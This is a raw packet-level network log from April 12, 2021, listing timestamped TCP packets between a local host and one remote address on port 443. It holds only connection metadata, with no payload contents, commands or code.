Apr 12, 2021 13:46:43.763742924 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763741970 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.763782978 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763830900 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763864994 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.763874054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763912916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763930082 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.763952971 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.763992071 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764015913 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764029980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764069080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764095068 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764106989 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764142990 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764158010 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764200926 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764225960 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764239073 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764277935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764309883 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764314890 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764355898 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764394045 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764431000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764453888 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764477968 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764519930 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764534950 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764556885 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764585972 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764595032 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764633894 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764641047 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764672041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764710903 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764724970 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764749050 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764796019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764802933 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764837980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764852047 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764878988 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764916897 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764954090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.764986992 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.764990091 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765029907 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765067101 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765080929 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765115023 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765140057 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765157938 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765191078 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765194893 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765234947 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765266895 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765271902 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765309095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765340090 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765348911 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765429974 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765461922 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765474081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765513897 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765547991 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.765552998 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.765686035 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795154095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795208931 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795247078 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795295000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795329094 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795336962 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795367956 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795381069 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795419931 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795433998 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795459032 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795495987 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795525074 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795536041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795574903 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795607090 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795623064 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795666933 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795681953 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795706034 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795744896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795778036 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795783997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795825005 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795852900 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795865059 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795902967 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795922995 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.795950890 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.795993090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.796025991 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.796027899 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.796066999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.796104908 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.796106100 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.796163082 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835226059 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835278988 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835319042 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835350037 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835360050 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835401058 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835413933 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835442066 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835479975 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835505962 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835529089 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835591078 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835608006 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835628986 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835679054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835688114 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835721970 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835762024 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835797071 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835803032 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835841894 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835870028 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835879087 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835920095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.835944891 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.835958958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836009026 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836025953 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836052895 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836091042 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836117983 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836129904 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836169004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836185932 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836208105 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836246014 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836262941 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836283922 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836332083 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836354017 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836380005 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836417913 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836447954 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836457014 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836497068 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836513042 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836534977 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836574078 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836600065 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836611032 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836658955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836668015 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836703062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836740017 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836757898 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836780071 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836817980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836838961 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836858988 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836899042 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836932898 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.836935997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.836985111 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837023973 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.837025881 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837064028 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837095976 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.837101936 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837141037 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837156057 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.837179899 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837219000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837234020 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.837255955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837306023 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837326050 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.837358952 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.837420940 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.863455057 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863624096 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863697052 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.863749027 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863792896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863841057 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863847017 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.863883018 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863926888 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.863928080 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.864021063 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.864077091 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.864115000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.864197969 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.864238977 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.864255905 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.864279985 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.864341021 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.864373922 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.865896940 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.865953922 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.865983963 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866013050 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866082907 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866123915 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866151094 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.866162062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866209030 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.866209984 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866252899 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866290092 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866306067 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.866328955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.866379976 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.904788971 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.904849052 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.904886007 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.904923916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.904947042 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.904963970 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.904997110 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905004025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905047894 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905076027 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905083895 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905133963 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905150890 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905175924 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905214071 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905249119 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905252934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905292988 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905323982 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905328989 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905369997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905386925 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905446053 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905483961 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905508995 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905529976 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905571938 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905586958 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905611038 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905649900 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905663967 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905689955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905725956 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905754089 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905764103 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905802011 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905817032 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905848980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905890942 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905919075 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.905927896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905967951 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.905981064 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906006098 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906042099 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906069040 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906080008 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906116962 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906140089 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906163931 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906204939 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906219959 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906243086 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906280994 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906295061 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906320095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906358004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906383038 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906397104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906435966 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906461000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906481981 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906523943 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906539917 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906563044 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906600952 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906616926 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906639099 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906675100 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906688929 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906712055 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906752110 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906766891 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906799078 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906840086 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.906853914 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.906877995 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.907043934 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.908351898 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.933829069 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.933897018 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.933936119 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.933954954 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.933975935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.933995008 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934016943 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934055090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934068918 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934092999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934119940 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934129953 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934144974 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934178114 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934195995 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934221029 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934235096 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934259892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934278011 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934326887 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934329987 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934371948 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934392929 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934408903 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934432030 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934448004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934448957 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934487104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.934505939 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.934546947 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.974174976 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.974246025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.974283934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.974323034 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.974356890 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.974363089 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.974391937 CEST	49762	443	192.168.2.4	195.123.215.115
